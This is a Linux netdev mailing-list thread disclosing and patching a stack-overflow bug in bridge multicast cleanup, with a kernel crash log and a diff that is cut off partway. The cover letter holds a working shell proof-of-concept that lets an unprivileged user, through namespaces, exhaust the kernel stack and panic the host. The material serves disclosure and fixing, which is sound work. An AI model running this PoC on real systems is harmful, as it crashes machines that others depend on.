Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup
@ 2026-09-26 17:04 Ren Wei
  2026-09-26 17:04 ` [PATCH net 1/1] net: bridge: avoid recursive multicast port cleanup Ren Wei
                   ` (2 more replies)
  0 siblings, 3 replies; 6+ messages in thread
From: Ren Wei @ 2026-09-26 17:04 UTC (permalink / raw)
  To: bridge, netdev
  Cc: razor, idosch, davem, edumazet, kuba, pabeni, horms, vega,
	petalzu987, weir

From: Zixuan Chai <petalzu987@gmail.com>

Hi Linux kernel maintainers,

We found and validated an issue in net/bridge/br_multicast.c. The bug is
reachable by a non-root user via user and network namespaces. We've tested
it, and it should not affect any other bridge multicast functionality.

This bug is tracked at: https://bugtracker.nebusec.ai/f/4342

We will provide detailed information about the bug in this email, along
with a PoC to trigger it.

---- details below ----

Bug details:

When an EXCLUDE (*,G) port is deleted, br_multicast_star_g_handle_mode()
removes its corresponding temporary STAR_EXCL (S,G) port. For an (S,G)
entry, br_multicast_del_pg() then calls
br_multicast_sg_del_exclude_ports() to remove the remaining automatically
added ports. That helper also calls br_multicast_del_pg() for each port,
which re-enters the same cleanup and adds another stack frame per port.
With enough ports, the task hits the kernel stack guard page.

The new internal deletion helper takes a flag controlling this follow-up
cleanup. br_multicast_sg_del_exclude_ports() uses it with the follow-up
disabled while walking the same entry; ordinary deletion callers retain
the existing behavior.

Reproducer:

Run the attached shell PoC as a non-root guest user with iproute2 bridge
MDB filter-mode support:

    sh poc.sh --namespace

The PoC uses unshare -Urn, creates 256 temporary EXCLUDE ports and a
permanent INCLUDE source entry with IGMPv3 enabled, then deletes one
EXCLUDE port.

------BEGIN poc.sh------

#!/bin/sh

set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin:$PATH

N="${N:-256}"
BR="${BR:-br0}"
GROUP="${GROUP:-239.1.1.1}"
SOURCE="${SOURCE:-10.0.0.1}"
INC_PORT="${INC_PORT:-e0}"

need_cmd() {
	command -v "$1" >/dev/null 2>&1 || {
		echo "missing command: $1" >&2
		exit 1
	}
}

cleanup() {
	ip link del "$BR" 2>/dev/null || true
	ip link del "$INC_PORT" 2>/dev/null || true

	i=1
	while [ "$i" -le "$N" ]; do
		ip link del "e$i" 2>/dev/null || true
		i=$((i + 1))
	done
}

run_inner() {
	need_cmd ip
	need_cmd bridge

	sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true

	cleanup

	echo "[*] building bridge with $N temporary STAR_EXCL candidates" >&2
	ip link add "$BR" type bridge mcast_snooping 1 mcast_igmp_version 3
	ip link set "$BR" up

	i=1
	while [ "$i" -le "$N" ]; do
		ip link add "e$i" type dummy
		ip link set "e$i" master "$BR"
		ip link set "e$i" up
		i=$((i + 1))
	done

	ip link add "$INC_PORT" type dummy
	ip link set "$INC_PORT" master "$BR"
	ip link set "$INC_PORT" up

	echo "[*] installing (*,G) EXCLUDE ports" >&2
	i=1
	while [ "$i" -le "$N" ]; do
		bridge mdb add dev "$BR" port "e$i" grp "$GROUP" temp \
			filter_mode exclude
		i=$((i + 1))
	done

	echo "[*] installing the permanent (*,G) INCLUDE source that seeds the shared (S,G)" >&2
	bridge mdb add dev "$BR" port "$INC_PORT" grp "$GROUP" permanent \
		filter_mode include source_list "$SOURCE"

	echo "[*] deleting one EXCLUDE port; this recursively tears down every STAR_EXCL S,G port" >&2
	bridge mdb del dev "$BR" port e1 grp "$GROUP"
}

if [ "${1:-}" = "--inner" ]; then
	shift
	run_inner "$@"
	exit 0
fi

if [ "${1:-}" = "--namespace" ]; then
	shift
	exec unshare -Urn -- "$0" --inner "$@"
fi

run_inner "$@"

------END poc.sh--------

----BEGIN crash log----

[  989.150962][    C1] BUG: TASK stack guard page was hit at ffa000000ef8ffd8 (stack is ffa000000ef90000..ffa000000ef98000)
[  989.150999][    C1] Oops: stack guard page: 0000 [#1] SMP KASAN NOPTI
[  989.152881][    C1] CPU: 1 UID: 1001 PID: 14739 Comm: bridge Not tainted 7.3.0-rc4-g11536ee3d3e0 #1 PREEMPT(full) 
[  989.153997][    C1] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[  989.154886][    C1] RIP: 0010:__lock_acquire+0xd2/0x2110
[  989.155441][    C1] Code: 2f 00 00 8b 0c 24 44 8b 5c 24 08 48 85 c0 44 8b 44 24 10 49 89 c7 0f 84 bc 04 00 00 41 8b 86 a0 0b 00 00 44 8b 0d ae 80 ab 19 <89> 04 24 45 85 c9 75 09 83 f8 2f 0f 87 a9 0a 00 00 49 81 ef a0 7d
[  989.157307][    C1] RSP: 0018:ffa000000ef8ffe8 EFLAGS: 00010046
[  989.157915][    C1] RAX: 0000000000000002 RBX: 0000000000000000 RCX: 0000000000000002
[  989.158672][    C1] RDX: 0000000000000000 RSI: ffffffff9b483d80 RDI: ffffffff8e9ebbe0
[  989.159407][    C1] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[  989.160149][    C1] R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
[  989.160892][    C1] R13: ffffffff8e9ebbe0 R14: ff11000027c24c40 R15: ffffffff963f8318
[  989.161636][    C1] FS:  00000000232d63c0(0000) GS:ff110000d5775000(0000) knlGS:0000000000000000
[  989.162460][    C1] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  989.163077][    C1] CR2: ffa000000ef8ffd8 CR3: 0000000053bcc000 CR4: 0000000000753ef0
[  989.163813][    C1] PKRU: 55555554
[  989.164150][    C1] Call Trace:
[  989.164467][    C1]  <TASK>
[  989.164750][    C1]  lock_acquire+0x1bf/0x370
[  989.165183][    C1]  ? unwind_next_frame+0xbf/0x2300
[  989.165676][    C1]  unwind_next_frame+0xd3/0x2300
[  989.166144][    C1]  ? unwind_next_frame+0xbf/0x2300
[  989.166616][    C1]  ? __unwind_start+0x585/0x810
[  989.167062][    C1]  ? get_stack_info_noinstr+0x18/0x120
[  989.167571][    C1]  __unwind_start+0x50a/0x810
[  989.168010][    C1]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[  989.168578][    C1]  arch_stack_walk+0x62/0xf0
[  989.169005][    C1]  ? __unwind_start+0x585/0x810
[  989.169453][    C1]  stack_trace_save+0x8e/0xc0
[  989.169890][    C1]  ? __pfx_stack_trace_save+0x10/0x10
[  989.170366][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.170865][    C1]  ? kernel_text_address+0x11/0x90
[  989.171333][    C1]  ? __kernel_text_address+0xd/0x40
[  989.171797][    C1]  ? unwind_get_return_address+0x59/0xa0
[  989.172298][    C1]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[  989.172847][    C1]  kasan_save_stack+0x24/0x50
[  989.173271][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.173766][    C1]  ? stack_trace_save+0x8e/0xc0
[  989.174202][    C1]  ? ref_tracker_alloc+0x172/0x590
[  989.174661][    C1]  ? stack_depot_save_flags+0x2d/0xa40
[  989.175147][    C1]  ? ref_tracker_alloc+0x172/0x590
[  989.175608][    C1]  ? set_track_prepare+0x3d/0x70
[  989.176047][    C1]  ? ref_tracker_alloc+0x172/0x590
[  989.176502][    C1]  ? switchdev_deferred_enqueue+0x139/0x2b0
[  989.177028][    C1]  ? switchdev_port_obj_del+0xfb/0x160
[  989.177512][    C1]  ? br_switchdev_mdb_notify+0x173/0x3b0
[  989.178014][    C1]  ? __br_mdb_notify+0x578/0x810
[  989.178459][    C1]  ? br_multicast_del_pg+0x24f/0x1da0
[  989.178944][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.179436][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.179920][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.180409][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.180901][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.181390][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.181891][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.182383][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.182870][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.183361][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.183853][    C1]  ? ___slab_alloc+0x27a/0x830
[  989.184286][    C1]  ? rcu_is_watching+0x13/0xc0
[  989.184720][    C1]  kasan_save_track+0x14/0x30
[  989.185140][    C1]  __kasan_kmalloc+0xaa/0xb0
[  989.185550][    C1]  __kmalloc_cache_noprof+0x2da/0x6e0
[  989.186034][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.186522][    C1]  ? ref_tracker_alloc+0x172/0x590
[  989.186977][    C1]  ref_tracker_alloc+0x172/0x590
[  989.187417][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.187906][    C1]  ? __pfx_ref_tracker_alloc+0x10/0x10
[  989.188392][    C1]  ? br_multicast_del_pg+0x166f/0x1da0
[  989.188881][    C1]  ? rcu_is_watching+0x13/0xc0
[  989.189314][    C1]  ? trace_kmalloc+0xda/0x110
[  989.189743][    C1]  ? __kasan_kmalloc+0xaa/0xb0
[  989.190169][    C1]  ? __kmalloc_noprof+0x376/0x810
[  989.190626][    C1]  ? switchdev_deferred_enqueue+0x33/0x2b0
[  989.191144][    C1]  ? __pfx_switchdev_port_obj_del_deferred+0x10/0x10
[  989.191733][    C1]  switchdev_deferred_enqueue+0x139/0x2b0
[  989.192235][    C1]  switchdev_port_obj_del+0xfb/0x160
[  989.192709][    C1]  br_switchdev_mdb_notify+0x173/0x3b0
[  989.193201][    C1]  ? __pfx_br_switchdev_mdb_notify+0x10/0x10
[  989.193742][    C1]  __br_mdb_notify+0x578/0x810
[  989.194171][    C1]  ? arch_irq_work_raise+0x4f/0x70
[  989.194633][    C1]  br_multicast_del_pg+0x24f/0x1da0
[  989.195108][    C1]  ? find_held_lock+0x2b/0x80
[  989.195534][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.196010][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.196484][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.196957][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.197432][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.197925][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.198400][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.198879][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.199351][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.199820][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.200287][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.200757][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.201229][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.201697][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.202172][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.202651][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.203128][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.203609][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.204090][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.204565][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.205048][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.205522][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.206000][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.206481][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.206958][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.207441][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.207920][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.208397][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.208877][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.209366][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.209845][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.210328][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.210802][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.211285][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.211759][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.212240][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.212719][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.213202][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.213689][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.214163][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.214640][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.215122][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.215602][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.216085][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.216568][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.217043][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.217526][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.218009][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.218493][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.218969][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.219446][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.219924][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.220403][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.220879][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.221360][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.221845][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.222324][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.222805][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.223285][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.223770][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.224247][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.224729][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.225201][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.225687][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.226162][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.226645][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.227122][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.227605][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.228089][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.228572][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.229055][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.229537][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.230024][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.230506][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.230988][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.231465][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.231937][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.232411][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.232884][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.233363][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.233843][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.234323][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.234795][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.235278][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.235757][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.236241][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.236719][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.237198][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.237676][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.238156][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.238639][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.239123][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.239604][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.240087][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.240570][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.241051][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.241533][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.242012][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.242494][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.242980][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.243461][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.243938][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.244419][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.244896][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.245370][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.245855][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.246340][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.246822][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.247300][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.247781][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.248261][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.248745][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.249217][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.249698][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.250182][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.250671][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.251152][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.251632][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.252111][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.252592][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.253069][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.253549][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.254025][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.254507][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.254991][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.255475][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.255952][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.256436][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.256913][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.257390][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.257873][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.258351][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.258831][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.259316][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.259794][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.260272][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.260750][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.261231][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.261713][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.262186][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.262664][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.263139][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.263622][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.264097][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.264571][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.265050][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.265532][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.266019][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.266500][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.266978][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.267462][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.267947][    C1]  br_multicast_del_pg+0x166f/0x1da0
[  989.268426][    C1]  br_multicast_find_del_pg.part.0+0x12c/0x180
[  989.268975][    C1]  br_multicast_star_g_handle_mode+0x503/0xb60
[  989.269525][    C1]  ? __pfx_br_multicast_star_g_handle_mode+0x10/0x10
[  989.270121][    C1]  ? skb_put+0x138/0x1b0
[  989.270510][    C1]  ? __br_mdb_notify+0x54d/0x810
[  989.270960][    C1]  ? br_multicast_del_pg+0x342/0x1da0
[  989.271448][    C1]  br_multicast_del_pg+0x342/0x1da0
[  989.271917][    C1]  ? br_mdb_ip_get+0x62f/0xbe0
[  989.272353][    C1]  __br_mdb_del+0x40a/0x6d0
[  989.272762][    C1]  ? __pfx___br_mdb_del+0x10/0x10
[  989.273218][    C1]  br_mdb_del+0x2ae/0x4c0
[  989.273612][    C1]  ? __pfx_br_mdb_del+0x10/0x10
[  989.274054][    C1]  ? __mutex_lock+0x27a/0x1d90
[  989.274488][    C1]  ? __nla_parse+0x42/0x60
[  989.274894][    C1]  ? __pfx_br_mdb_del+0x10/0x10
[  989.275328][    C1]  rtnl_mdb_del+0x296/0x6a0
[  989.275742][    C1]  ? __pfx_rtnl_mdb_del+0x10/0x10
[  989.276194][    C1]  ? __pfx_rtnl_mdb_del+0x10/0x10
[  989.276642][    C1]  rtnetlink_rcv_msg+0x3cd/0xfa0
[  989.277088][    C1]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[  989.277569][    C1]  ? __lock_acquire+0x509/0x2110
[  989.278011][    C1]  netlink_rcv_skb+0x147/0x430
[  989.278443][    C1]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[  989.278924][    C1]  ? __pfx_netlink_rcv_skb+0x10/0x10
[  989.279394][    C1]  ? netlink_deliver_tap+0x1ae/0xd10
[  989.279872][    C1]  netlink_unicast+0x58d/0x850
[  989.280302][    C1]  ? __pfx_netlink_unicast+0x10/0x10
[  989.280767][    C1]  ? __pfx_sock_has_perm+0x10/0x10
[  989.281225][    C1]  netlink_sendmsg+0x88d/0xd90
[  989.281658][    C1]  ? __pfx_netlink_sendmsg+0x10/0x10
[  989.282121][    C1]  ? selinux_socket_sendmsg+0x18f/0x2e0
[  989.282616][    C1]  ? __pfx_netlink_sendmsg+0x10/0x10
[  989.283085][    C1]  ____sys_sendmsg+0xa27/0xb90
[  989.283516][    C1]  ? __pfx_____sys_sendmsg+0x10/0x10
[  989.283988][    C1]  ? __pfx_copy_msghdr_from_user+0x10/0x10
[  989.284508][    C1]  ? __pfx_____sys_recvmsg+0x10/0x10
[  989.284978][    C1]  ? copy_msghdr_from_user+0xfb/0x150
[  989.285457][    C1]  ___sys_sendmsg+0x11c/0x1b0
[  989.285877][    C1]  ? __pfx____sys_sendmsg+0x10/0x10
[  989.286337][    C1]  ? ___sys_recvmsg+0x110/0x190
[  989.286769][    C1]  ? __pfx____sys_recvmsg+0x10/0x10
[  989.287236][    C1]  ? __css_rstat_updated+0x1c0/0x570
[  989.287718][    C1]  ? count_memcg_events_mm.constprop.0+0xfa/0x2a0
[  989.288293][    C1]  __sys_sendmsg+0x142/0x1f0
[  989.288710][    C1]  ? __pfx___sys_sendmsg+0x10/0x10
[  989.289178][    C1]  do_syscall_64+0x128/0x7b0
[  989.289594][    C1]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  989.290126][    C1] RIP: 0033:0x4902f7
[  989.290470][    C1] Code: ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b9 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 89 54 24 1c 48 89 74 24 10
[  989.292145][    C1] RSP: 002b:00007ffe5186f578 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[  989.292880][    C1] RAX: ffffffffffffffda RBX: 00007ffe5186f740 RCX: 00000000004902f7
[  989.293563][    C1] RDX: 0000000000000000 RSI: 00007ffe5186f5e0 RDI: 0000000000000003
[  989.294253][    C1] RBP: 00007ffe5186fe10 R08: 000000000000001c R09: 0000000000000004
[  989.294945][    C1] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffe5186f720
[  989.295638][    C1] R13: 000000006ab5eb89 R14: 000000000053e160 R15: 00007ffe51871f0f
[  989.296338][    C1]  </TASK>
[  989.296613][    C1] Modules linked in:
[  989.296967][    C1] ---[ end trace 0000000000000000 ]---
[  989.297452][    C1] RIP: 0010:__lock_acquire+0xd2/0x2110
[  989.297464][    C1] Code: 2f 00 00 8b 0c 24 44 8b 5c 24 08 48 85 c0 44 8b 44 24 10 49 89 c7 0f 84 bc 04 00 00 41 8b 86 a0 0b 00 00 44 8b 0d ae 80 ab 19 <89> 04 24 45 85 c9 75 09 83 f8 2f 0f 87 a9 0a 00 00 49 81 ef a0 7d
[  989.297475][    C1] RSP: 0018:ffa000000ef8ffe8 EFLAGS: 00010046
[  989.297485][    C1] RAX: 0000000000000002 RBX: 0000000000000000 RCX: 0000000000000002
[  989.297492][    C1] RDX: 0000000000000000 RSI: ffffffff9b483d80 RDI: ffffffff8e9ebbe0
[  989.297499][    C1] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[  989.297506][    C1] R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
[  989.297513][    C1] R13: ffffffff8e9ebbe0 R14: ff11000027c24c40 R15: ffffffff963f8318
[  989.297520][    C1] FS:  00000000232d63c0(0000) GS:ff110000d5775000(0000) knlGS:0000000000000000
[  989.297533][    C1] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  989.297540][    C1] CR2: ffa000000ef8ffd8 CR3: 0000000053bcc000 CR4: 0000000000753ef0
[  989.297548][    C1] PKRU: 55555554
[  989.297554][    C1] Kernel panic - not syncing: Fatal exception in interrupt
[  989.306934][    C1] Kernel Offset: disabled
[  989.307317][    C1] Rebooting in 86400 seconds..

-----END crash log-----

Zixuan Chai (1):
  net: bridge: avoid recursive multicast port cleanup

 net/bridge/br_multicast.c | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

-- 
2.34.1

^ permalink raw reply	[flat|nested] 6+ messages in thread

* [PATCH net 1/1] net: bridge: avoid recursive multicast port cleanup
  2026-09-26 17:04 [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup Ren Wei
@ 2026-09-26 17:04 ` Ren Wei
  2026-09-27 16:30 ` [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup Andrew Lunn
  2026-10-05  2:40 ` patchwork-bot+netdevbpf
  2 siblings, 0 replies; 6+ messages in thread
From: Ren Wei @ 2026-09-26 17:04 UTC (permalink / raw)
  To: bridge, netdev
  Cc: razor, idosch, davem, edumazet, kuba, pabeni, horms, vega,
	petalzu987, weir

From: Zixuan Chai <petalzu987@gmail.com>

br_multicast_sg_del_exclude_ports() removes automatically added STAR_EXCL
port groups by calling br_multicast_del_pg(). For S,G entries, that
deletion calls back into br_multicast_sg_del_exclude_ports(), so a large
number of STAR_EXCL ports consumes one kernel stack frame per port and can
hit the stack guard page.

Keep the complete port-group deletion path for cleanup, but suppress the
S,G exclude-port cleanup while that helper is already walking the same
entry. Normal deletion callers retain the existing behavior.

Fixes: 8266a0491e92 ("net: bridge: mcast: handle port group filter modes")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/bridge/br_multicast.c | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

diff --git a/net/bridge/br_multicast.c b/net/bridge/br_multicast.c
index 2f9bb30e1a1f..3fbad7b59769 100644
--- a/net/bridge/br_multicast.c
+++ b/net/bridge/br_multicast.c
@@ -81,6 +81,10 @@ __br_multicast_add_group(struct net_bridge_mcast *brmctx,
 			 bool blocked);
 static void br_multicast_find_del_pg(struct net_bridge *br,
 				     struct net_bridge_port_group *pg);
+static void __br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
+				  struct net_bridge_port_group *pg,
+				  struct net_bridge_port_group __rcu **pp,
+				  bool sg_del_exclude_ports);
 static void __br_multicast_stop(struct net_bridge_mcast *brmctx);
 
 static int br_mc_disabled_update(struct net_device *dev, bool value,
@@ -458,7 +462,7 @@ static void br_multicast_sg_del_exclude_ports(struct net_bridge_mdb_entry *sgmp)
 	for (pp = &sgmp->ports;
 	     (p = mlock_dereference(*pp, sgmp->br)) != NULL;) {
 		if (!(p->flags & MDB_PG_FLAGS_PERMANENT))
-			br_multicast_del_pg(sgmp, p, pp);
+			__br_multicast_del_pg(sgmp, p, pp, false);
 		else
 			pp = &p->next;
 	}
@@ -799,9 +803,10 @@ static void br_multicast_destroy_port_group(struct net_bridge_mcast_gc *gc)
 	kfree_rcu(pg, rcu);
 }
 
-void br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
-			 struct net_bridge_port_group *pg,
-			 struct net_bridge_port_group __rcu **pp)
+static void __br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
+				  struct net_bridge_port_group *pg,
+				  struct net_bridge_port_group __rcu **pp,
+				  bool sg_del_exclude_ports)
 {
 	struct net_bridge *br = pg->key.port->br;
 	struct net_bridge_group_src *ent;
@@ -820,7 +825,8 @@ void br_multicast_del_pg(struct net_bridge_mdb_entry *mp,
 	if (!br_multicast_is_star_g(&mp->addr)) {
 		rhashtable_remove_fast(&br->sg_port_tbl, &pg->rhnode,
